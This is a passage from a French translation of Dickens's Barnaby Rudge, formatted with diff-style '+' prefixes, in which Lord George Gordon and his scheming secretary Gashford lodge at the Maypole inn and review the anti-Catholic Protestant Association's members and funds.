+l'aubergiste se réveilla en lui.
+
+«Des auberges? non, répondit M. Willet en mettant un fort accent
+oratoire sur le nombre pluriel; mais il y a une auberge... une
+auberge unique... l'auberge du Maypole. C'est ce qu'on peut
+appeler une auberge. Vous ne verrez pas souvent une auberge comme
+celle-là.
+
+-- C'est vous qui la tenez peut-être? dit le cavalier en souriant.
+
+-- C'est moi qui la tiens, monsieur, répliqua John, grandement
+étonné que l'autre eût fait cette découverte.
+
+-- Et quelle est la distance d'ici au Maypole?
+
+-- Environ un mille.»
+
+John allait ajouter que c'était un tout petit mille, le plus petit
+du monde, quand le troisième cavalier, qui jusqu'alors était resté
+un peu à l'arrière-garde, l'interrompit soudain.
+
+«Et avez-vous un excellent lit, aubergiste? Hein! un lit que vous
+puissiez recommander... un lit dont vous soyez sûr que les draps
+soient bien secs... un lit où ait couché quelque personnage d'un
+caractère respectable et irréprochable?
+
+-- D'abord, nous ne recevons pas, monsieur, de racaille ni de
+canaille chez nous, répondit John. Et quant au lit lui-même...
+
+-- Dites quant aux trois lits, répliqua en l'interrompant le
+gentleman qui avait parlé le premier, car il nous en faut trois si
+nous descendons chez vous, quoique mon ami n'ait parlé que d'un.
+
+-- Non, non, milord; vous êtes trop bon, vous êtes trop
+bienveillant; mais votre vie importe beaucoup trop à la nation,
+dans ces temps sinistres, pour être placée au même niveau qu'une
+vie aussi inutile et aussi chétive que la mienne. Une grande
+cause, milord, une cause puissante dépend de vous. Vous êtes son
+guide et son champion, sa sentinelle et son avant-garde. C'est la
+cause de nos autels et de nos foyers, de notre pays et de notre
+foi. Souffrez que je dorme, moi, sur une chaise... sur le tapis...
+n'importe où. Personne ne s'inquiétera si j'attrape un rhume ou la
+fièvre. Laissez John Grueby passer la nuit à la belle étoile...
+Personne ne s'inquiétera de lui non plus. Mais quarante mille
+hommes de notre pays, de cette terre qu'entourent les vagues (sans
+compter les femmes et les enfants), ont leurs yeux et leurs
+pensées attachés sur lord Georges Gordon, et chaque jour, depuis
+le lever jusqu'au coucher du soleil, prient Dieu de lui garder
+vigueur et santé. Oui, milord, dit l'orateur se dressant sur ses
+étriers, c'est une glorieuse cause et elle ne doit pas être
+oubliée. Milord, c'est une puissante cause, et elle ne doit pas
+être mise en péril. Milord, c'est une sainte cause, et elle ne
+doit pas être abandonnée.
+
+-- C'est une sainte cause! s'écria Sa Seigneurie en levant son
+chapeau d'une manière très solennelle. Amen!
+
+-- John Grueby, dit l'autre gentleman qui parlait à perte
+d'haleine d'un ton de doux reproche, Sa Seigneurie dit Amen.
+
+-- J'ai entendu milord, monsieur, dit l'homme assis en selle droit
+comme une statue.
+
+-- Pourquoi donc ne dites-vous pas Amen comme lui?»
+
+John Grueby, sans rien répondre, se tint immobile et regardant
+droit devant lui.
+
+«Vous me surprenez, Grueby, dit le gentleman. Dans une crise comme
+celle d'à présent, lorsque la reine Elisabeth, cette vierge
+monarque, pleure au fond de sa tombe, et que Marie la Sanglante,
+avec un visage sombre et sourcilleux, marche triomphante...
+
+-- Oh! monsieur, cria l'homme d'un ton bourru, à quoi bon parler
+de Marie la Sanglante dans la situation actuelle, lorsque milord
+est traversé par la pluie et harassé d'une rude course à cheval?
+Laissez-nous aller à Londres, monsieur, ou nous arrêter une bonne
+fois; sinon, cette infortunée Marie la Sanglante aura à répondre
+encore d'un autre accident... et elle aura fait beaucoup plus de
+mal dans son tombeau qu'elle n'en fit jamais durant sa vie, à ce
+que je crois.»
+
+En ce moment M. Willet, qui n'avait jamais entendu personne dire
+tant de mots à la fois avec la volubilité de débit et l'accent
+oratoire du gentleman à longue haleine, et dont le cerveau,
+complètement incapable d'en soutenir le poids et de les saisir au
+passage, avait fini par y renoncer tout à fait, recouvra assez de
+présence d'esprit pour faire observer que le Maypole était à même
+de recevoir amplement toute la compagnie; qu'on y trouverait de
+bons lits, des vins soignés, excellent logis à pied et à cheval;
+salles particulières pour grandes ou petites sociétés; dîners
+servis dans le plus court délai; belles écuries, et remise fermée
+à clef. Bref, il passa en revue tous les bouts de phrases
+élogieuses qui étaient peints sur les diverses parties de son
+auberge, et que, durant quelque quarante ans, il avait appris à
+répéter d'une façon suffisamment correcte. Il examinait à part soi
+s'il serait possible d'insérer quelques nouvelles réclames tendant
+au même but, lorsque le gentleman qui avait parlé le premier, se
+tournant vers le cavalier à longue haleine, s'écria:
+
+«Qu'en dites-vous, Gashford? Nous arrêterons-nous à l'auberge dont
+il parle, ou poursuivrons-nous vivement notre route? Décidez.
+
+-- Je vous soumettrai donc mon avis, milord, répliqua d'un ton
+doux comme miel la personne interrogée, mon avis est que votre
+santé et votre liberté d'esprit, qui importent tant, après la
+Providence, à notre grande cause, à notre cause pure et fidèle
+(ici Sa Seigneurie ôta derechef son chapeau, quoiqu'il plût à
+verse), ont besoin d'être renouvelées et rafraîchies par le repos.
+
+-- Allez devant, aubergiste, et montrez-nous le chemin, dit lord
+Georges Gordon. Nous vous suivrons au pas.
+
+-- Si vous le permettez, milord, dit John Grueby à voix basse, je
+changerai de place pour marcher devant vous. La mine de l'ami de
+l'aubergiste n'est pas des plus honnêtes, et il n'y a pas de mal à
+prendre ses précautions avec lui.
+
+-- John Grueby a tout à fait raison, interrompit M. Gashford se
+plaçant avec précipitation en arrière. Milord, il ne faut pas
+exposer une vie aussi précieuse que la vôtre. Allez devant, John,
+certainement. Si vous avez la moindre raison de suspecter ce
+gaillard-là, faites-lui sauter la cervelle.»
+
+John ne répondit pas, mais, regardant droit devant lui comme il
+paraissait en avoir l'habitude quand parlait le secrétaire, il dit
+à Hugh de se mettre en marche, et le serra de près. Ensuite
+venait Sa Seigneurie avec M. Willet à la bride de son cheval, et
+le secrétaire de Sa Seigneurie car c'était, semblait-il, l'emploi
+de Gashford, fermait la marche.
+
+Hugh allait lestement et à grands pas, regardant souvent en
+arrière le domestique, dont le cheval était presque sur ses
+talons, et jetant un coup d'oeil de travers sur les fontes de
+pistolets auxquelles ce serviteur semblait attacher un grand prix.
+C'était un Anglais pur sang, un gaillard carré par la base,
+solidement bâti, au cou de taureau et, comme Hugh le toisait des
+yeux il toisait Hugh à son tour de temps en temps avec un regard
+de brusque dédain. Il était plus âgé que l'homme du Maypole, car
+il pouvait avoir, selon toute apparence quarante-cinq ans mais
+c'était un de ces camarades à tête dure, froide, imperturbable,
+qui se moquent bien de recevoir une gourmade en route et ne se
+laissent pas arrêter pour si peu dans la poursuite de leurs
+desseins.
+
+«Si je vous égarais maintenant, dit Hugh d'un air moqueur, vous me
+feriez... ha! ha! ha!..., vous me feriez sauter la cervelle, je
+suppose?»
+
+John Grueby ne tint pas plus compte de cette remarque que s'il eût
+été sourd et Hugh muet; il continua de chevaucher à son aise, les
+yeux fixés sur l'horizon.
+
+«Avez-vous jamais essayé de vous colleter avec quelqu'un,
+monsieur, quand vous étiez jeune? dit Hugh. Savez-vous jouer du
+bâton?»
+
+John Grueby le regarda de travers avec le même air d'insouciance,
+sans daigner répondre un mot.
+
+«Comme ceci? dit Hugh en exécutant avec son gourdin un de ces
+habiles moulinets qui faisaient les délices des paysans de cette
+époque. Houp!
+
+-- Ou comme ça, répondit John Grueby en rabattant avec son fouet
+le gourdin de son conducteur, et le frappant sur la tête avec le
+manche. Oui, j'en ai joué un peu jadis. Vous portez vos cheveux
+trop longs; s'ils avaient été un peu plus courts, je vous aurais
+fêlé le crâne.»
+
+C'était, dans le fait, un petit coup vif et retentissant;
+évidemment il étonna Hugh, qui, dans le premier moment, parut
+disposé à désarçonner sa nouvelle connaissance. Mais la figure de
+John Grueby ne dénotant ni malice, ni triomphe, ni rage, rien
+enfin qui pût faire croire à une offense préméditée; ses yeux
+restant toujours fixés dans l'ancienne direction, et son air étant
+aussi insoucieux et aussi calme que s'il eût simplement chassé une
+mouche qui le gênait; Hugh fut si démonté, si disposé à le
+regarder comme un luron d'une vigueur presque surnaturelle, qu'il
+se contenta de rire et de s'écrier: «Bien joué!» puis, s'écartant
+un peu, il reprit son office de guide en silence.
+
+Quelques minutes après, la compagnie fit halte à la porte du
+Maypole. Lord Georges et son secrétaire, ayant promptement mis
+pied à terre, donnèrent leurs chevaux au domestique, qui, sous la
+conduite de Hugh, les mena à l'écurie. Très aises d'échapper à
+l'inclémence de la nuit, les gentlemen suivirent M. Willet dans la
+salle commune, et, debout devant l'âtre où il y avait un bon feu,
+ils se réchauffèrent et séchèrent leurs vêtements, tandis que
+l'aubergiste s'occupait à donner les ordres et veillait aux
+préparatifs qu'exigeait le haut rang de son hôte.
+
+Comme il allait et venait fort affairé, tout entier à ces
+arrangements, il eut l'occasion d'observer dans la salle les deux
+voyageurs dont, jusque-là, il ne connaissait que la voix. Le lord,
+le grand personnage, qui faisait un pareil honneur au Maypole,
+était à peu près de taille moyenne, grêle de corps et d'un teint
+blême, il avait le nez aquilin, et de longs cheveux d'un rouge
+brun, rabattus, à plat sur ses oreilles et légèrement poudrés,
+sans le moindre vestige de frisure. Il était vêtu, sous son
+pardessus, d'un habillement tout noir, sans ornements, et de la
+coupe la plus simple et la plus sobre. La gravité de son costume,
+jointe à la maigreur de ses joues, et à la roideur de son
+maintien, lui donnait bien dix ans de plus, mais c'était un homme
+qui n'avait point passé la trentaine. Tandis qu'il rêvait debout à
+la rouge lueur du feu, on était frappé de voir ses grands yeux
+brillants, qui trahissaient une continuelle mobilité de pensées et
+de desseins, singulièrement en désaccord avec le calme étudié et
+le sérieux de sa mine, ainsi qu'avec son bizarre et triste
+costume. Sa physionomie n'avait rien d'âpre ni de cruel dans son
+expression, non plus que sa figure, qui était mince et douce et
+d'un caractère mélancolique, mais l'une et l'autre annonçaient un
+indéfinissable malaise, qu'on ne pouvait voir sans en prendre sa
+part et sans éprouver une sorte de pitié pour ce personnage,
+quoiqu'on eût été bien en peine de dire pourquoi.
+
+Gashford, le secrétaire, était plus grand, de formes anguleuses,
+haut des épaules, décharné et disgracieux. Son habillement, à
+l'imitation de son supérieur, était modeste et grave à l'excès, il
+y avait dans ses manières quelque chose d'officiel et de
+contraint. Il avait des sourcils proéminents, de grandes mains, de
+grands pieds, de grandes oreilles, et une paire d'yeux qui
+semblaient avoir battu en retraite au fond de sa tête, et s'y être
+creusé une caverne pour se cacher. Ses manières étaient douces et
+humbles, mais tortueuses et évasives. Il avait l'air d'un homme
+toujours à l'affût sur le passage de quelque proie qui ne voulait
+pas venir, mais il paraissait patient, très patient, comme un
+épagneul en arrêt, qui remue la queue sans bouger. Même en ce
+moment, tandis qu'il chauffait et frottait ses mains devant le
+feu, il ne semblait pas avoir d'autre prétention que de jouir de
+cette chaleur, pour sa part, comme un simple roturier; et, bien
+qu'il sût que son maître ne le regardait pas, il jetait de temps
+en temps les yeux sur sa figure, et, d'un air soumis et plein de
+déférence, il souriait comme pour ne pas en perdre l'habitude.
+
+Tels étaient les hôtes sur lesquels le vieux John Willet fixait
+son oeil de plomb, les examinant sans relâche. Il s'avança vers
+eux alors, tenant un chandelier d'apparat de chaque main, et les
+supplia de le suivre dans une pièce plus digne d'eux. «Car,
+milord, dit John (c'est assez étrange, mais il y a des gens qui
+semblent avoir autant de plaisir à prononcer des titres que ceux
+qui les ont en éprouvent à les porter), cette salle, milord, n'est
+pas du tout faite pour Votre Seigneurie, et je dois demander
+pardon à Votre Seigneurie de vous avoir laissé ici, milord, une
+seule minute.»
+
+Après cette allocution, John les conduisit en haut dans
+l'appartement d'apparat, qui, semblable en cela à beaucoup
+d'autres choses d'apparat, était froid et incommode. Le bruit de
+leurs pas, se répercutant à travers la chambre spacieuse, frappait
+leurs oreilles d'un son creux; et l'atmosphère humide et glaciale
+qui y régnait était rendue doublement fâcheuse par son contraste
+avec la chaleur de la salle vulgaire qu'ils venaient d'abandonner.
+
+Il aurait été inutile toutefois de proposer d'y revenir, car les
+préparatifs se firent si prestement qu'on n'aurait pas eu
+seulement le temps de les contremander. John, tenant de chaque
+main les hauts chandeliers, précéda les gentlemen vers la cheminée
+avec une profonde révérence; Hugh, entrant à grands pas, jeta un
+tison allumé et une pile de menu bois sur l'âtre, qui fut bientôt
+en feu; John Grueby, portant à son chapeau une cocarde bleue pour
+laquelle il paraissait avoir un souverain mépris, déposa sur le
+plancher le portemanteau dont il avait déchargé son cheval; et
+tous les trois s'occupèrent à l'instant avec activité de
+développer le paravent, de mettre la nappe, d'inspecter les lits,
+d'allumer du feu dans les chambres à coucher, d'accélérer le
+souper, et de rendre toute chose aussi commode et aussi
+confortable qu'il était possible de le faire à si court délai. En
+moins d'une heure, le souper avait été servi, mangé, desservi;
+lord Georges et son secrétaire, tous deux en pantoufles, les
+jambes étendues devant le feu, étaient assis auprès d'un bol de
+vin chaud bien épicé.
+
+«Ainsi se termine, milord, dit Gashford en remplissant son verre
+avec une grande aménité, l'oeuvre bénie d'un jour béni du ciel.
+
+-- Et d'une veille également bénie, dit Sa Seigneurie en levant la
+tête.
+
+-- Ah!... et ici le secrétaire joignit ses mains... Une veille
+bénie en vérité! Les protestants de Suffolk sont des hommes pieux
+et fidèles. Quoique beaucoup de nos compatriotes, milord, se
+soient égarés dans les ténèbres, exactement comme nous cette nuit
+sur la route, ces braves gens-là n'ont pas quitté le chemin de
+lumière et de gloire.
+
+-- Les ai-je émus, Gashford? dit lord Georges.
+
+-- Si vous les avez émus, milord! si vous les avez émus! Ils
+criaient qu'on les menât contre les papistes; ils appelaient une
+terrible vengeance sur leurs têtes; ils rugissaient comme des
+possédés.
+
+-- Des possédés! non pas des possédés du démon, toujours, dit le
+maître.
+
+-- Du démon! non pas, milord; dites plutôt des anges.
+
+-- Oui; oh! sûrement; des anges, sans aucun doute, dit lord
+Georges en mettant ses mains dans ses poches, les retirant pour
+ronger ses ongles, et regardant le feu d'un air embarrassé; ce ne
+peuvent être que des anges qui les possèdent, n'est-ce pas,
+Gashford?
+
+-- Vous n'en doutez pas, milord? dit le secrétaire.
+
+-- Non, non, répliqua le maître; non. Pourquoi en douterais-je? Je
+suppose qu'il serait positivement irréligieux d'en douter...
+n'est-ce pas, Gashford? Bien que parmi eux il y eût certainement,
+ajouta-t-il sans attendre une réponse, quelques personnages d'une
+physionomie diabolique.
+
+-- Quand vous avez fait avec chaleur, dit le secrétaire, en jetant
+un regard perçant sur l'autre, dont les yeux baissés reprirent peu
+à peu leur éclat tandis que Gashford parlait; quand vous avez fait
+avec chaleur cette noble sortie; quand vous leur avez déclaré que
+vous n'étiez pas de la tribu des tièdes ou des timides, et que
+vous les avez invités à considérer qu'ils se préparaient à suivre
+quelqu'un qui les conduirait en avant, fût-ce jusqu'à la mort
+même; quand vous avez parlé de cent vingt mille hommes sur la
+frontière d'Écosse qui se feraient justice un beau jour, si on ne
+la leur faisait pas; lorsque vous avez crié: «Périssent le pape et
+tous ses vils adhérents; les lois pénales portées contre eux ne
+seront jamais abrogées tant que les Anglais auront des coeurs et
+des mains...» et que vous avez agité la vôtre, avant de la mettre
+sur la garde de votre épée; et lorsqu'ils se sont écriés à leur
+tour: «Pas de papisme!» et que vous leur avez répondu: «Non! quand
+même nous serions obligés de marcher dans le sang!» et qu'ils ont
+levé leurs chapeaux en l'air, en criant: «Hourra! non, quand même
+nous marcherions dans le sang! Pas de papisme, lord Georges! À bas
+les papistes! vengeance sur leurs têtes!» Pendant que tout cela se
+faisait et se disait, et qu'un mot de vous, milord, excitait ou
+apaisait le tumulte, ah! je sentais alors tout ce qu'il y avait là
+de grandeur, et je me disais en moi-même: «Y eut-il jamais
+puissance comparable à celle de lord Georges Gordon?»
+
+-- C'est une grande puissance, vous avez raison; c'est une grande
+puissance! cria-t-il, les yeux étincelants. Mais, cher Gashford,
+ai-je réellement dit tout cela?
+
+-- Et beaucoup plus encore! cria le secrétaire, les yeux levés au
+ciel. Ah! beaucoup plus encore.
+
+-- Et je leur ai parlé, à ce que vous disiez tout à l'heure, de
+cent quarante mille hommes en Écosse, n'est-ce pas? demanda-t-il
+avec un plaisir évident. C'était un peu hardi.
+
+-- Notre cause n'est que hardiesse. La vérité est toujours hardie.
+
+-- Certainement, de même que la religion. Elle est hardie aussi,
+Gashford!
+
+-- La vraie religion l'est, milord.
+
+-- Et c'est la nôtre, répondit-il en se remuant avec inquiétude
+sur son siège, et rongeant ses ongles, comme s'il voulait les
+couper jusqu'au vif. Il n'y a pas de doute que la nôtre ne soit la
+vraie. Vous êtes aussi certain de cela que je le suis, Gashford,
+n'est-ce pas?
+
+-- Milord peut-il me le demander, dit Gashford de son ton câlin,
+en approchant sa chaise d'un air offensé, et posant sa large main
+à plat sur la table, à moi, répéta-t-il en dirigeant sur lui les
+sombres cavités de ses yeux avec un sourire malsain, à moi qui,
+frappé en Écosse, il y a un an, par votre magique éloquence,
+abjurai les erreurs de l'Église romaine, et m'attachai à Votre
+Seigneurie comme à un libérateur dont la main m'avait retiré du
+bord du précipice?
+
+-- C'est vrai. Non, non. Je... je n'ai pas eu cette idée, répliqua
+l'autre en lui donnant une poignée de main, se levant de son
+siège, et se promenant autour de la chambre avec agitation. Savez-
+vous qu'on se sent fier de mener le peuple, Gashford? ajouta-t-il
+en faisant une halte soudaine.
+
+-- Et par la force de la raison, répondit son flatteur.
+
+-- Oui, bien sûr. Ils peuvent tousser, se moquer et grogner dans
+le parlement; ils peuvent me traiter de fou et d'insensé: mais
+quel est celui d'entre eux qui peut soulever cet océan humain et
+le faire enfler et rugir à son gré? Pas un.
+
+-- Pas un, répéta Gashford.
+
+-- Quel est celui d'entre eux qui peut se vanter comme moi, à
+l'honneur de son caractère, d'avoir refusé du ministre un présent
+corrupteur de mille livres sterling par an pour résigner son siège
+en faveur d'un autre? Pas un.
+
+-- Pas un, répéta de nouveau Gashford en prélevant, dans
+l'intervalle, la part du lion sur le bol de vin chaud aux épices.
+
+-- Et comme nous sommes d'honnêtes gens, des gens sincères, les
+défenseurs fidèles d'une cause sacrée, Gashford, dit, en mettant
+sa main fiévreuse sur l'épaule de son secrétaire, lord Georges,
+dont le teint s'animait et dont la voix s'élevait à mesure qu'il
+parlait, comme nous sommes les seuls qui prenions souci de la
+masse du peuple, et dont elle prenne souci à son tour, nous la
+soutiendrons jusqu'à la fin; nous pousserons, contre ces Anglais
+renégats qui se sont faits papistes, un cri qui retentira au
+travers du pays, et y roulera avec un fracas comparable au
+tonnerre. Je serai digne de la devise de ma cotte d'armes:
+_Appelé, élu et fidèle._»
+
+-- Appelé, dit le secrétaire, par le ciel.
+
+-- Je le suis.
+
+-- Élu par le peuple.
+
+-- Oui.
+
+-- Fidèle à tous deux.
+
+-- Jusqu'au billot!»
+
+Il serait difficile de donner une idée complète de l'excitation
+avec laquelle il fit ces réponses à chaque appel de son
+secrétaire, de la rapidité de son débit, ou de la violence de son
+accent et de ses gestes. Quelque chose de farouche et
+d'ingouvernable, luttant contre sa tenue puritaine, forçait toute
+contrainte. Pendant plusieurs minutes il marcha de long en large
+dans la pièce à pas précipités; puis, s'arrêtant soudain, il
+s'écria:
+
+«Gashford, vous aussi, vous les avez émus. Oh! oui, et bien émus.
+
+-- Un reflet de l'auréole de milord, répliqua l'humble secrétaire
+en plaçant sa main sur son coeur. J'ai fait de mon mieux.
+
+-- Vous avez bien parlé, dit son maître, et vous êtes un grand et
+digne instrument. Si vous voulez sonner John Grueby pour qu'il
+apporte la valise dans ma chambre, et attendre ici que je sois
+déshabillé, nous réglerons les affaires comme de coutume, si
+toutefois vous n'êtes pas trop fatigué.
+
+-- Trop fatigué, milord!... mais je reconnais bien là votre
+charité! Chrétien de la tête aux pieds.»
+
+En s'adressant ce soliloque, le secrétaire inclina le bol et
+regarda très sérieusement au fond ce qu'il y restait de vin chaud.
+
+John Willet et John Grueby parurent ensemble. L'un se chargeant
+des hauts chandeliers, et l'autre du portemanteau, ils
+conduisirent à sa chambre le lord dupé; ils laissèrent le
+secrétaire seul bâiller et se secouer, puis s'endormir enfin
+devant le feu.
+
+«Maintenant, monsieur Gashford, monsieur, lui dit John Grueby à
+l'oreille, lorsqu'il reconnut que le secrétaire avait perdu un
+moment connaissance, milord est couché.
+
+-- Ah! très bien John, répondit-il doucement: merci, John.
+Personne n'a besoin de veiller. Je sais quelle est ma chambre.
+
+-- J'espère que vous n'allez pas troubler davantage votre tête, ni
+celle de milord, avec Marie la Sanglante, à cette heure de la
+nuit, dit John. Plût à Dieu que cette malheureuse vieille créature
+n'eût jamais existé!
+
+-- J'ai dit que vous pouviez vous coucher, John, répliqua le
+secrétaire. Vous ne m'avez pas entendu, je pense?
+
+-- Avec toutes ces Maries sanglantes, ces cocardes bleues, ces
+glorieuses reines Besses[26], ces Pas de Papistes, ces Associations
+protestantes, et cette fureur de faire des speechs, poursuivit
+John Grueby, regardant, comme d'habitude, fort loin devant lui, et
+sans tenir compte de l'avertissement de Gashford, milord a perdu
+la tête ou peu s'en faut. Quand nous sortons, un tel ramas de
+bélîtres vient crier après nous: «Vive Gordon!» que j'en suis
+honteux et ne sais où regarder. Quand nous sommes au logis, ils
+viennent rugir et glapir autour de la maison, comme autant de
+diables; et milord, au lieu d'ordonner qu'on les chasse, se
+présente au balcon, s'abaisse à leur faire des harangues; il les
+appelle: «citoyens d'Angleterre» et «compatriotes», comme s'il les
+aimait passionnément et qu'il les remerciât d'être venus là. Je ne
+peux pas m'expliquer ça; mais ils sont tous mêlés de façon ou
+d'autre avec cette infortunée Marie la Sanglante, ils s'enrouent à
+vociférer son nom. Ce sont pourtant tous bons protestants, les
+hommes comme les petits garçons; mais il faut croire que les
+protestants ont un terrible faible pour les cuillers et
+l'argenterie en général, quand les portes de la cuisine sont par
+hasard ouvertes. Je souhaite qu'il n'y ait rien de pire, et qu'il
+n'arrive pas plus de dommage; mais, si vous n'arrêtez pas à temps
+ces vilains compères, M. Gashford (et je vous connais, je sais que
+c'est vous qui soufflez le feu), vous verrez qu'ils vous monteront
+sur le dos: un de ces soirs, que la température sera chaude et que
+les protestants auront soif, ils vous jetteront Londres à bas; et
+je n'ai jamais entendu dire que Marie la Sanglante ait été jusque-
+là.»
+
+Gashford avait disparu depuis longtemps, et ces réflexions se
+perdaient dans le vide de l'air. Quand John Grueby s'en aperçut,
+il n'en fut pas ému autrement; il enfonça son chapeau sur sa tête,
+autant que possible à rebours, afin de ne pas voir seulement
+l'ombre de l'odieuse cocarde, et il gagna son lit tout en secouant
+la tête, d'une manière sinistre et prophétique, jusqu'à ce qu'il
+eût atteint sa chambre.
+
+
+
+
+CHAPITRE XXXVI.
+
+
+Gashford, avec une figure souriante, mais aussi avec un air de
+déférence et d'humilité profondes, se rendit à la chambre de son
+maître, en lissant ses cheveux le long de la route, et bourdonnant
+une psalmodie. Lorsqu'il approcha de la porte de lord Georges, il
+éclaircit son gosier pour bourdonner plus vigoureusement encore.
+
+Il y avait un remarquable contraste entre l'occupation de cet
+homme en ce moment, et l'expression de sa physionomie, qui était
+singulièrement repoussante et malicieuse. Son sourcil en saillie
+obscurcissait presque ses yeux; sa lèvre se repliait d'une manière
+dédaigneuse; ses épaules même paraissaient échanger à la dérobée
+des chuchotements moqueurs avec ses grandes oreilles rabattues.
+
+«Chut! marmotta-t-il doucement, en jetant un coup d'oeil de la
+porte de la chambre dans l'intérieur. Il semble être endormi. Dieu
+veuille qu'il le soit! Trop de veilles, trop de soucis, trop de
+pensées. Ah! que le Seigneur le réserve pour en faire un martyr!
+c'est un saint, si jamais saint respira sur cette misérable
+terre.»
+
+Plaçant sa lumière sur une table, il alla sur la porte du pied
+jusqu'au feu, et s'asseyant dans une chaise devant l'âtre, le dos
+tourné au lit, il continua de s'entretenir avec lui-même, comme
+quelqu'un qui pense tout haut.
+
+«Le sauveur de son pays et de la religion de son pays, l'ami des
+pauvres, l'ennemi du riche orgueilleux; l'amour des malheureux et
+des opprimés, l'idole de quarante mille coeurs anglais hardis et
+fidèles; que son sommeil doit être heureux!»
+
+Et ici il soupira, il chauffa ses mains et secoua sa tête, comme
+font les gens qui ont le coeur trop plein; puis il poussa encore
+un soupir et se remit à se chauffer les mains.
+
+«Eh bien, Gashford? dit lord Georges qui était dans son lit tout
+éveillé, et ne l'avait pas quitté des yeux depuis qu'il était
+entré.
+
+-- Milord, dit Gashford en tressaillant et regardant autour de lui
+comme avec une grande surprise. Je vous ai dérangé?
+
+-- Je ne dormais pas.
+
+-- Vous ne dormiez pas! répéta-t-il avec une feinte confusion. Que
+puis-je dire pour m'excuser d'avoir exprimé en votre présence des
+pensées ... mais elles étaient sincères... Elles étaient sincères,
+s'écria le secrétaire en passant à la hâte sa manche sur ses yeux:
+et pourquoi regretterais-je que vous les ayez entendues?
+
+-- Gashford, dit le pauvre lord en lui tendant la main avec une
+émotion manifeste, ne le regrettez pas. Vous m'aimez bien, je le
+sais, vous m'aimez trop, je ne mérite pas un tel hommage.»
+
+Gashford ne répondit pas, mais il saisit la main et la pressa sur
+ses lèvres. Puis se levant et tirant de la malle un petit pupitre,
+il le plaça sur une table près du feu, l'ouvrit avec une clef
+qu'il avait dans sa poche, s'assit devant, y prit une plume, et,
+avant de la tremper dans l'encrier, il la suça, peut être pour
+corriger l'expression de sa bouche, sur laquelle planait encore un
+sourire.
+
+«Où en sont nos chiffres depuis la dernière soirée d'enrôlement?
+demanda lord Georges. Sommes-nous réellement forts de quarante
+mille hommes, ou est-ce seulement pour avoir un nombre rond, que
+nous faisons monter l'association jusque-là?
+
+-- Notre total excède ce nombre de vingt-trois membres, répliqua
+Gashford en jetant les yeux sur ses papiers.
+
+-- Les fonds?
+
+-- Ils ne prospèrent pas beaucoup, mais il y a de la manne dans le
+désert, milord. Hem! Vendredi soir, le denier de la veuve s'est
+glissé dans notre caisse.
+
+«Quarante boueurs, trois shillings et quatre pence;
+«Un vieil ouvreur de bancs à la paroisse Saint-Martin, six pence;
+«Un sonneur de l'Église établie, six pence;
+«Un protestant nouveau-né, un demi-penny;
+«La société des porte-falots, trois shillings, dont un mauvais;
+«Les prisonniers antipapistes de Newgate, cinq shillings et quatre
+pence;
+«Un ami à Bedlam, une demi couronne;
+«Dennis le bourreau, un shilling.
+
+-- Ce Dennis, dit Sa Seigneurie, est un homme plein d'ardeur. Je
+l'ai remarqué au milieu de la foule dans Welbeck-Street, vendredi
+dernier.
+
+-- Un excellent homme, répondit le secrétaire, un homme solide,
+sincère et vraiment zélé.
+
+-- Il faut l'encourager, dit lord Georges. Prenez note de Dennis.
+Je lui parlerai.»
+
+Gashford obéit, et continua de lire sa liste de souscription:
+
+«Les Amis de la Raison, une demi-guinée;
+«Les Amis de la Liberté, une demi-guinée;
+«Les Amis de la Paix, une demi-guinée;
+«Les Amis de la Charité, une demi-guinée;
+«Les Amis de la Miséricorde, une demi-guinée;
+«Les frères vengeurs de Marie la Sanglante, une demi-guinée;
+«Les Bouledogues Unis, une demi-guinée.
+
+-- Les Bouledogues, dit lord Georges en mordant ses ongles d'une
+manière affreuse, sont une nouvelle Société, n'est-ce pas?
+
+-- Ci-devant les Chevaliers Apprentis, Milord. Les contrats
+d'apprentissage des anciens membres expirant par degrés, ils ont
+changé leur nom, à ce qu'il paraît, quoiqu'ils aient encore des
+apprentis parmi eux, aussi bien que des ouvriers.
+
+-- Comment se nomme leur président? demanda lord Georges.
+
+-- Président, dit Gashford en lisant dans un papier, M. Simon
+Tappertit.
+
+-- Je me le rappelle; c'est ce petit homme qui amène quelquefois
+une soeur aînée à nos meetings, et quelquefois aussi une autre
+femme qui peut être une consciencieuse et fidèle protestante, sans
+doute, mais qui n'est pas favorisée par la nature?
+
+-- Lui-même, milord.
+
+-- Tappertit est un homme plein d'ardeur, dit lord Georges d'un
+air pensif; n'est-ce pas, Gashford?
+
+-- C'est un des plus avancés, milord; il appelle de loin la
+bataille et l'aspire à pleins naseaux, comme le coursier de
+guerre. Il jette en l'air son chapeau dans la rue, comme s'il
+était inspiré, et prononce des discours très émouvants du haut des
+épaules de ses amis.
+
+-- Prenez note de Tappertit, dit lord Georges Gordon. On pourra
+l'élever à une place de confiance.
+
+-- Voilà, répond le secrétaire après en avoir pris note, voilà
+tout, excepté la tirelire de Mme Varden (c'est la quatorzième
+qu'elle casse en notre faveur), sept shillings et six pence en
+argent et en cuivre, et une demi-guinée en or; et Miggs (ce sont
+les épargnes d'un trimestre de gages), un shilling et trois pence.
+
+-- Miggs, dit lord Georges, est-ce un homme?
+
+-- Le nom est porté sur la liste comme étant celui d'une femme,
+répliqua le secrétaire. Je pense que c'est la grande femme maigre
+dont vous parliez tout à l'heure, milord, la personne si peu
+favorisée qui vient quelquefois entendre les speech en compagnie
+de Tappertit et de Mme Varden.
+
+-- Mme Varden alors est la dame âgée, n'est-ce pas?»
+
+Le secrétaire fit un signe de tête affirmatif, et se frotta le nez
+avec les barbes de sa plume.
+
+«C'est une soeur zélée, dit lord Georges. Les offrandes qu'elle
+amasse vont bien et se poursuivent avec ferveur. Son mari s'est-il
+joint à nous?
+
+-- C'est un méchant, répliqua le secrétaire en pliant ses papiers,
+indigne d'une telle femme. Il reste au fond de ses ténèbres, et
+refuse opiniâtrement de suivre l'exemple de sa femme.
+
+-- Que les conséquences en retombent sur sa tête. Gashford!
+
+-- Milord.
+
+-- Vous ne pensez pas, dit-il en se tournant et s'agitant dans son
+lit, que ces gens-là m'abandonneront, quand l'heure sera venue?
+J'ai parlé hardiment pour eux, j'ai risqué beaucoup, je n'ai rien
+ménagé. Ils ne reculeront point, n'est-ce pas?
+
+-- N'ayez pas peur, milord, dit Gashford avec un regard
+significatif, qui était plutôt l'expression involontaire de sa
+propre pensée qu'une réponse aux inquiétudes de Sa Seigneurie, car
+la figure de lord Georges était tournée dans l'autre sens. N'ayez
+pas peur, il n'y a pas de danger.
+
+-- Il n'y a pas non plus à craindre, dit-il en se remuant encore
+davantage, qu'on ne les... mais non, on ne peut pas les punir pour
+s'être ligués dans ce but. Le droit est de notre côté, quand même
